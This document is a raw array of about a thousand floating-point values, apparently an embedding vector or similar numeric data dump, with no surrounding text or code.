[ 0.00176239013671875, -0.0028781890869140625, 0.016082763671875, -0.00720977783203125, -0.0237579345703125, 0.00901031494140625, 0.00379180908203125, -0.0377197265625, -0.0194244384765625, 0.0308990478515625, -0.024505615234375, 0.01187896728515625, 0.0113067626953125, -0.01258087158203125, 0.01702880859375, -0.035736083984375, 0.02655029296875, -0.0239105224609375, 0.0172119140625, -0.003238677978515625, 0.0001951456069946289, 0.0238037109375, 0.01611328125, 0.0394287109375, 0.006748199462890625, -0.05169677734375, 0.062744140625, -0.01276397705078125, 0.01093292236328125, -0.01250457763671875, 0.01666259765625, 0.0145263671875, 0.0261688232421875, -0.0060882568359375, 0.0185546875, 0.023895263671875, 0.0067596435546875, -0.0003325939178466797, 0.0122528076171875, 0.0095062255859375, 0.01178741455078125, -0.0013322830200195312, 0.036895751953125, 0.01739501953125, 0.0019931793212890625, -0.043731689453125, 0.0133514404296875, -0.050079345703125, 0.0139007568359375, -0.030181884765625, -0.0124664306640625, -0.0006985664367675781, 0.01483154296875, -0.037200927734375, -0.01055145263671875, -0.0096893310546875, 0.0242156982421875, -0.01422119140625, -0.0152435302734375, -0.00879669189453125, 0.000591278076171875, 0.06280517578125, 0.0017757415771484375, 0.0279083251953125, -0.04364013671875, -0.007541656494140625, -0.017578125, 0.004547119140625, -0.00426483154296875, -0.052703857421875, -0.0003437995910644531, 0.0155029296875, 0.01305389404296875, -0.018463134765625, -0.00004494190216064453, 0.02142333984375, 0.01326751708984375, 0.0206298828125, 0.0145721435546875, 0.0088958740234375, -0.0105438232421875, -0.032501220703125, -0.0049285888671875, -0.0374755859375, 0.0039825439453125, 0.0010509490966796875, -0.0090484619140625, 0.0023365020751953125, -0.0239715576171875, -0.006145477294921875, -0.023773193359375, 0.038604736328125, 0.003986358642578125, -0.04644775390625, -0.048675537109375, -0.00742340087890625, 0.0220947265625, 0.02899169921875, -0.01239776611328125, 0.0204315185546875, -0.03448486328125, -0.0222930908203125, 0.023193359375, -0.032379150390625, 0.006107330322265625, 0.04779052734375, 0.0260467529296875, 0.014801025390625, 0.015655517578125, 0.006504058837890625, 0.011383056640625, 0.056732177734375, -0.00201416015625, -0.017242431640625, -0.004955291748046875, 0.0088348388671875, -0.0283966064453125, 0.001834869384765625, -0.01102447509765625, -0.00768280029296875, 0.01334381103515625, 0.0289459228515625, 0.0178375244140625, -0.07763671875, -0.0077972412109375, -0.047760009765625, -0.054901123046875, -0.01216888427734375, 0.0213470458984375, 0.038665771484375, -0.0069732666015625, 0.0002779960632324219, -0.01544952392578125, -0.02081298828125, -0.050628662109375, -0.0113525390625, 0.03338623046875, -0.0002853870391845703, -0.0171966552734375, -0.004695892333984375, 0.058197021484375, -0.02294921875, -0.037841796875, 0.016845703125, -0.040191650390625, 0.0281829833984375, 0.0259246826171875, 0.027252197265625, -0.0340576171875, -0.07879638671875, 0.00632476806640625, -0.022125244140625, 0.0299224853515625, 0.0162200927734375, 0.01076507568359375, -0.01131439208984375, 0.0134735107421875, -0.00428009033203125, -0.0159454345703125, -0.01364898681640625, -0.0152130126953125, -0.003711700439453125, 0.0186004638671875, -0.04571533203125, -0.04296875, -0.00174713134765625, -0.0220489501953125, -0.0081024169921875, 0.01340484619140625, 0.024139404296875, -0.0091400146484375, 0.0260772705078125, 0.0263214111328125, -0.003948211669921875, -0.006290435791015625, -0.0142974853515625, -0.034149169921875, 0.0207672119140625, 0.0024585723876953125, 0.09869384765625, 0.059326171875, -0.00917816162109375, 0.0053863525390625, 0.037689208984375, -0.04034423828125, 0.028411865234375, 0.0233001708984375, 0.0567626953125, -0.0221405029296875, 0.025634765625, 0.04791259765625, 0.0309295654296875, -0.04058837890625, 0.05328369140625, -0.031463623046875, -0.01454925537109375, 0.00658416748046875, 0.0352783203125, -0.0263214111328125, -0.02947998046875, 0.0037670135498046875, -0.0182342529296875, 0.03546142578125, -0.0208892822265625, -0.03851318359375, 0.0015554428100585938, -0.03265380859375, 0.05078125, 0.01059722900390625, 0.031768798828125, 0.0084686279296875, 0.027130126953125, -0.017822265625, -0.037567138671875, -0.0341796875, 0.004848480224609375, -0.007183074951171875, 0.0202178955078125, 0.009674072265625, -0.006378173828125, -0.0007376670837402344, -0.01279449462890625, -0.01009368896484375, 0.013946533203125, 0.0243682861328125, 0.023101806640625, -0.028656005859375, 0.0109405517578125, 0.01068115234375, 0.046539306640625, -0.06353759765625, -0.006229400634765625, -0.0179290771484375, -0.01849365234375, -0.04681396484375, 0.01049041748046875, -0.024658203125, -0.01076507568359375, 0.0018749237060546875, 0.0265960693359375, 0.03570556640625, 0.018157958984375, -0.0002636909484863281, 0.0207061767578125, 0.053131103515625, -0.046173095703125, -0.003620147705078125, 0.00511932373046875, 0.04425048828125, 0.0672607421875, -0.06011962890625, -0.00998687744140625, 0.0203704833984375, -0.031402587890625, 0.0028533935546875, 0.0213623046875, -0.0323486328125, -0.04400634765625, -0.029632568359375, 0.048858642578125, 0.01277923583984375, -0.0236968994140625, -0.00882720947265625, -0.015838623046875, 0.05316162109375, 0.0262298583984375, 0.0279541015625, 0.0223541259765625, -0.06329345703125, 0.0198822021484375, 0.02117919921875, 0.038055419921875, 0.0023860931396484375, 0.02301025390625, 0.0287628173828125, 0.0167999267578125, 0.00836181640625, -0.0154876708984375, -0.01446533203125, 0.005405426025390625, -0.020111083984375, -0.004756927490234375, -0.048187255859375, -0.006748199462890625, -0.01078033447265625, -0.072998046875, 0.021026611328125, 0.043182373046875, 0.011688232421875, 0.0161895751953125, 0.021209716796875, 0.027069091796875, -0.028533935546875, 0.033905029296875, 0.0153961181640625, -0.006427764892578125, -0.01256561279296875, -0.01263427734375, 0.017120361328125, -0.0137176513671875, 0.0278472900390625, 0.05621337890625, -0.008148193359375, 0.0191497802734375, -0.0032672882080078125, 0.023101806640625, 0.015594482421875, -0.0204010009765625, -0.02978515625, -0.0092315673828125, -0.041168212890625, -0.020355224609375, 0.010498046875, 0.05438232421875, -0.0305023193359375, -0.047149658203125, -0.0155181884765625, -0.002044677734375, -0.0941162109375, -0.08758544921875, -0.0643310546875, -0.044158935546875, 0.022918701171875, 0.002017974853515625, -0.00897979736328125, 0.0013179779052734375, 0.01476287841796875, 0.0299072265625, -0.00211334228515625, -0.05291748046875, -0.04974365234375, -0.07965087890625, -0.06689453125, -0.0035572052001953125, 0.0029354095458984375, 0.00328826904296875, 0.004032135009765625, 0.05169677734375, 0.00818634033203125, -0.048095703125, -0.0106964111328125, 0.01508331298828125, -0.0261688232421875, -0.011932373046875, 0.0296783447265625, -0.0660400390625, -0.016021728515625, 0.01340484619140625, 0.00875091552734375, -0.000988006591796875, 0.0038204193115234375, -0.006443023681640625, -0.020965576171875, -0.08538818359375, -0.047637939453125, 0.07220458984375, 0.031005859375, -0.091064453125, 0.0081024169921875, -0.08868408203125, -0.036376953125, -0.002986907958984375, -0.03973388671875, 0.04364013671875, 0.05767822265625, -0.026336669921875, 0.002323150634765625, -0.01221466064453125, -0.0027866363525390625, -0.00914764404296875, 0.01141357421875, -0.0526123046875, 0.056976318359375, 0.0097198486328125, 0.00783538818359375, -0.0263214111328125, 0.058197021484375, -0.0030460357666015625, -0.0007905960083007812, 0.0262908935546875, -0.001495361328125, -0.005435943603515625, -0.0119476318359375, -0.048248291015625, -0.01528167724609375, 0.024383544921875, -0.0006270408630371094, 0.03741455078125, -0.02362060546875, -0.01491546630859375, -0.0170440673828125, 0.0537109375, -0.08233642578125, -0.003200531005859375, 0.02655029296875, 0.01232147216796875, -0.0242462158203125, -0.00016736984252929688, -0.09539794921875, -0.00835418701171875, -0.10205078125, 0.00778961181640625, -0.01482391357421875, -0.038726806640625, 0.0057830810546875, -0.0174102783203125, -0.03717041015625, -0.0462646484375, 0.01126861572265625, -0.0009737014770507812, -0.01580810546875, 0.056396484375, -0.013824462890625, 0.01690673828125, 0.007358551025390625, -0.042510986328125, -0.0667724609375, -0.0214385986328125, -0.02557373046875, 0.07470703125, 0.044586181640625, -0.054046630859375, 0.0013561248779296875, 0.045654296875, -0.02508544921875, 0.0245208740234375, -0.0179290771484375, 0.01230621337890625, 0.028656005859375, -0.0003502368927001953, -0.012298583984375, -0.0004794597625732422, -0.01275634765625, -0.0205230712890625, -0.050506591796875, 0.0022487640380859375, -0.0064849853515625, 0.0178985595703125, 0.0271453857421875, -0.0128631591796875, -0.0092926025390625, -0.0416259765625, -0.051025390625, 0.0011577606201171875, -0.0001558065414428711, -0.00440216064453125, -0.049468994140625, -0.0345458984375, 0.0227508544921875, -0.039093017578125, -0.0242156982421875, 0.0117950439453125, 0.0792236328125, 0.025054931640625, -0.0030193328857421875, -0.0309600830078125, -0.0238494873046875, 0.019500732421875, 0.061431884765625, 0.0660400390625, 0.0197296142578125, -0.01317596435546875, 0.047821044921875, 0.0271453857421875, 0.0030689239501953125, 0.0029449462890625, 0.07000732421875, -0.00046253204345703125, -0.0214385986328125, 0.011993408203125, -0.000031113624572753906, -0.037078857421875, 0.00302886962890625, -0.0252685546875, 0.020355224609375, 0.01788330078125, 0.0177001953125, -0.04864501953125, 0.042510986328125, -0.006988525390625, -0.040374755859375, 0.0038242340087890625, 0.0296478271484375, 0.055450439453125, 0.005214691162109375, 0.0227203369140625, 0.04962158203125, 0.0819091796875, -0.0262603759765625, 0.038360595703125, 0.050567626953125, 0.0150604248046875, 0.007373809814453125, 0.049957275390625, -0.02435302734375, -0.0172576904296875, -0.00286102294921875, 0.0450439453125, -0.0234222412109375, -0.057891845703125, -0.01458740234375, -0.0115966796875, 0.005008697509765625, 0.0243988037109375, -0.0139617919921875, 0.030517578125, -0.0027141571044921875, -0.034271240234375, -0.0308380126953125, -0.03057861328125, -0.03302001953125, -0.050933837890625, 0.01629638671875, 0.0224151611328125, -0.0165252685546875, 0.032012939453125, -0.0073699951171875, 0.041839599609375, -0.0175933837890625, -0.0252532958984375, -0.02093505859375, -0.007770538330078125, 0.0016355514526367188, 0.01204681396484375, 0.0269622802734375, 0.009368896484375, -0.01166534423828125, 0.0540771484375, -0.0411376953125, 0.01085662841796875, -0.0223236083984375, 0.048614501953125, -0.038482666015625, -0.054534912109375, 0.0582275390625, -0.034820556640625, 0.0168914794921875, 0.024261474609375, -0.009307861328125, -0.04052734375, 0.00782012939453125, 0.003139495849609375, 0.010955810546875, -0.03375244140625, -0.031768798828125, 0.0501708984375, -0.0245361328125, 0.039459228515625, 0.037200927734375, -0.05767822265625, 0.04010009765625, 0.03216552734375, 0.00765228271484375, 0.0264434814453125, 0.018280029296875, -0.10089111328125, -0.053619384765625, -0.01275634765625, -0.00801849365234375, 0.046600341796875, -0.015655517578125, 0.035430908203125, -0.0103759765625, -0.02386474609375, -0.01751708984375, 0.0204010009765625, 0.0215301513671875, 0.0154266357421875, -0.07550048828125, -0.00637054443359375, -0.03759765625, -0.007965087890625, 0.01111602783203125, -0.011871337890625, -0.0406494140625, -0.00286102294921875, -0.019927978515625, 0.0027256011962890625, 0.0156707763671875, 0.04498291015625, -0.0216064453125, 0.04541015625, -0.004322052001953125, 0.071044921875, -0.07379150390625, 0.114990234375, 0.0090179443359375, 0.012969970703125, -0.0281524658203125, 0.045440673828125, 0.0088348388671875, 0.0150299072265625, 0.00972747802734375, 0.003520965576171875, -0.023895263671875, -0.03369140625, -0.0158233642578125, 0.0261993408203125, 0.09576416015625, -0.0018587112426757812, 0.0141448974609375, -0.0015106201171875, 0.01422882080078125, -0.0049285888671875, -0.0107574462890625, -0.0105743408203125, -0.048095703125, 0.05987548828125, -0.001659393310546875, 0.0246124267578125, 0.00185394287109375, -0.05029296875, 0.01910400390625, 0.014739990234375, -0.0011701583862304688, 0.0178375244140625, -0.055206298828125, 0.0927734375, 0.047637939453125, 0.0035552978515625, 0.05047607421875, 0.01654052734375, 0.0212554931640625, -0.005542755126953125, 0.03656005859375, -0.0220489501953125, -0.0394287109375, 0.0106048583984375, -0.015594482421875, -0.02947998046875, -0.01337432861328125, -0.02081298828125, -0.015289306640625, 0.01305389404296875, 0.0035152435302734375, -0.0179290771484375, -0.0189666748046875, -0.015838623046875, -0.0263671875, -0.0041046142578125, 0.01078033447265625, -0.034454345703125, -0.062744140625, 0.050628662109375, 0.0267791748046875, 0.0125732421875, 0.028656005859375, 0.033111572265625, -0.01250457763671875, -0.017852783203125, 0.03857421875, 0.00565338134765625, -0.02496337890625, 0.001430511474609375, 0.008758544921875, -0.00907135009765625, -0.01287078857421875, 0.0283050537109375, -0.01395416259765625, -0.0218353271484375, -0.0211181640625, 0.0023860931396484375, 0.00893402099609375, -0.0269622802734375, 0.039825439453125, -0.00428009033203125, -0.0199127197265625, 0.041168212890625, -0.0361328125, 0.042449951171875, -0.01044464111328125, 0.0150146484375, -0.015167236328125, -0.0174102783203125, 0.031005859375, 0.0255584716796875, -0.033935546875, 0.026092529296875, -0.01055908203125, -0.024322509765625, -0.03179931640625, -0.055267333984375, 0.08001708984375, -0.03729248046875, -0.006610870361328125, 0.01358795166015625, 0.0308837890625, -0.021026611328125, -0.0077667236328125, 0.02838134765625, -0.03973388671875, 0.00476837158203125, 0.0085296630859375, 0.01029205322265625, -0.003940582275390625, 0.0015401840209960938, -0.04864501953125, 0.0081024169921875, -0.01300048828125, 0.02166748046875, -0.003658294677734375, -0.006290435791015625, 0.016998291015625, -0.001743316650390625, 0.002105712890625, 0.052581787109375, -0.0023136138916015625, 0.042938232421875, -0.0323486328125, -0.0163421630859375, 0.03021240234375, 0.062164306640625, 0.034149169921875, -0.005489349365234375, -0.03619384765625, 0.006153106689453125, 0.060821533203125, 0.0249786376953125, 0.0005555152893066406, 0.05291748046875, -0.00026702880859375, -0.012176513671875, -0.0234222412109375, -0.0116424560546875, 0.025482177734375, -0.059539794921875, -0.0292816162109375, 0.004894256591796875, 0.0106658935546875, 0.01309967041015625, 0.022003173828125, -0.0153961181640625, -0.04803466796875, 0.023040771484375, 0.033203125, 0.01113128662109375, -0.0166168212890625, 0.0268402099609375, -0.0008625984191894531, -0.039398193359375, -0.031463623046875, -0.032440185546875, 0.030914306640625, -0.006561279296875, 0.02020263671875, 0.00276947021484375, 0.0186309814453125, 0.0215606689453125, -0.006908416748046875, 0.0063323974609375, 0.04168701171875, -0.03857421875, 0.0301666259765625, 0.00415802001953125, 0.0300140380859375, -0.0280914306640625, 0.00899505615234375, -0.0171356201171875, 0.0284881591796875, -0.03717041015625, -0.0291290283203125, 0.016571044921875, 0.01287841796875, -0.02008056640625, 0.0178070068359375, 0.00445556640625, 0.016998291015625, 0.053863525390625, -0.0125579833984375, -0.0123748779296875, 0.00853729248046875, -0.0169219970703125, -0.0126953125, -0.01197052001953125, 0.053985595703125, 0.0191497802734375, -0.00307464599609375, 0.045989990234375, 0.0191802978515625, -0.02825927734375, -0.048370361328125, 0.049957275390625, 0.011138916015625, 0.04351806640625, -0.03643798828125, 0.037506103515625, -0.02996826171875, 0.04107666015625, -0.057464599609375, -0.0161285400390625, -0.045135498046875, 0.04876708984375, 0.02294921875, 0.025482177734375, 0.01419830322265625, -0.004730224609375, -0.015655517578125, -0.00402069091796875, -0.0085296630859375, -0.050048828125, 0.011993408203125, -0.00807952880859375, 0.026031494140625, -0.0008792877197265625, -0.021881103515625, -0.0143585205078125, 0.058135986328125, -0.0011911392211914062, 0.00848388671875, 0.0298614501953125, 0.0004775524139404297, -0.02471923828125, 0.005992889404296875, 0.01788330078125, 0.06060791015625, 0.03192138671875, -0.02606201171875, 0.002277374267578125, -0.0006113052368164062, -0.045501708984375, 0.0225677490234375, 0.04510498046875, -0.0193939208984375, 0.0105133056640625, 0.03790283203125, -0.022979736328125, -0.046539306640625, 0.0190887451171875, 0.07354736328125, 0.02825927734375, 0.0035457611083984375, 0.04766845703125, -0.0189056396484375, -0.0088653564453125, -0.006786346435546875, 0.037506103515625, 0.01392364501953125, 0.12451171875, -0.049224853515625, 0.0167999267578125, -0.022796630859375, 0.01593017578125, -0.025299072265625, -0.0164947509765625, 0.043731689453125, -0.006923675537109375, -0.01220703125, -0.00801849365234375, -0.08782958984375, -0.0005259513854980469, 0.048095703125, -0.03399658203125, 0.039306640625, 0.0059967041015625, 0.013580322265625, -0.044403076171875, 0.01318359375, -0.00894927978515625, -0.035369873046875, -0.0556640625, 0.0009360313415527344, 0.046722412109375, 0.042724609375, -0.0215606689453125, 0.01541900634765625, 0.0190277099609375, -0.01528167724609375, 0.032257080078125, -0.0020084381103515625, 0.0426025390625, 0.01531219482421875, 0.00395965576171875, -0.045623779296875, 0.01824951171875, -0.01074981689453125, 0.03497314453125, -0.0051422119140625, 0.0833740234375, 0.006732940673828125, 0.0034961700439453125, 0.0261077880859375, -0.0130767822265625, 0.0279693603515625, -0.02392578125, -0.00896453857421875, 0.009765625, 0.00476837158203125, 0.023712158203125, -0.03680419921875, -0.0013017654418945312, 0.0161590576171875, -0.0311431884765625, 0.0152740478515625, 0.0006723403930664062, -0.040771484375, -0.017608642578125, -0.0013599395751953125, 0.0002238750457763672, -0.01434326171875, -0.01175689697265625, 0.0237579345703125, -0.061859130859375, 0.0173187255859375, -0.0426025390625, 0.0606689453125, -0.03424072265625, -0.0110931396484375, -0.0472412109375, -0.0087127685546875, -0.047088623046875, 0.024017333984375, -0.01849365234375, 0.01265716552734375, 0.0404052734375, -0.007076263427734375, 0.025421142578125, -0.004825592041015625, 0.004787445068359375, 0.046295166015625, -0.07464599609375, -0.024566650390625, 0.031982421875, -0.0092010498046875, 0.00844573974609375, -0.042633056640625, -0.03125, -0.022674560546875, 0.01477813720703125, -0.0212860107421875, 0.0279083251953125, 0.0225372314453125, -0.033935546875, -0.06024169921875, 0.06341552734375, -0.0240478515625, -0.0196990966796875, -0.042999267578125, 0.019378662109375, -0.01274871826171875, -0.0014753341674804688, -0.018341064453125, -0.01153564453125, 0.0039520263671875, 0.0261077880859375, 0.0095367431640625, 0.021942138671875, 0.01522064208984375, 0.0008726119995117188, -0.0184783935546875, 0.0213470458984375, -0.00611114501953125, -0.01220703125, -0.020294189453125, 0.0015726089477539062, 0.004726409912109375, 0.0064697265625, -0.01678466796875, 0.01213836669921875, 0.0185546875, 0.0038547515869140625, 0.0150604248046875, 0.006237030029296875, -0.04248046875, -0.0010967254638671875, 0.06658935546875, 0.03515625, 0.02685546875, -0.0306243896484375, -0.022491455078125, -0.02569580078125, -0.041290283203125, -0.01055908203125, 0.03814697265625, -0.06866455078125, 0.0149383544921875, 0.0166473388671875, -0.03387451171875, -0.01546478271484375, -0.015045166015625, -0.0838623046875, 0.00936126708984375, -0.045654296875, 0.004268646240234375, -0.019287109375, -0.03021240234375, 0.058380126953125, -0.029327392578125, 0.035400390625, -0.022430419921875, 0.03155517578125, 0.045867919921875, -0.0036869049072265625, 0.007381439208984375, 0.05133056640625, -0.0384521484375, -0.0128173828125, 0.018798828125, 0.038970947265625, -0.0191192626953125, -0.01312255859375, 0.0126190185546875, 0.0223236083984375, -0.003452301025390625, 0.019012451171875, -0.007045745849609375, 0.0309906005859375, -0.0258636474609375, 0.0692138671875, 0.0006680488586425781, 0.03448486328125, -0.025390625, 0.05584716796875, -0.0101470947265625, -0.0244903564453125, 0.0003275871276855469, -0.0153656005859375, 0.00022554397583007812, 0.040252685546875, -0.01450347900390625, -0.0211639404296875, -0.0052642822265625, -0.01282501220703125, 0.00998687744140625, -0.005985260009765625 ]